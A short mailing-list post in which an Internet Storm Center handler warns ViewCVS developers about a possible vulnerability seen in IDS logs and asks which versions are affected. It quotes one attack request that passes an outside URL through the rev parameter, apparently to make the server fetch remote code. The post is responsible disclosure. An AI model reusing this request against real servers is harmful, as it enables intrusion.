[viewvc-dev] Possible vulnerability in ViewCVS

Hello,
I'm one of the handlers at the Internet Storm Center. We just got a note
from one
of our contributors about seeing new strings showing up in their IDS that
suggest
a possible vulnerability in ViewCVS:

GET //viewcvs.cgi/snort/etc/sid-msg.map?rev=
http://nocsom.org/images/IDsafeon.txt???

The contributor has validated that it worked against some live sites online
but was unable to tell us which version was vulnerable.
Is this an attack you are already aware of? If so, which version is no
longer vulnerable? We'd like to warn our readers that this is showing up but
wanted to give you a heads-up and a chance to fix it if you weren't already
aware.

We look forward to your response.
Thanks,
toby
(handler on deck)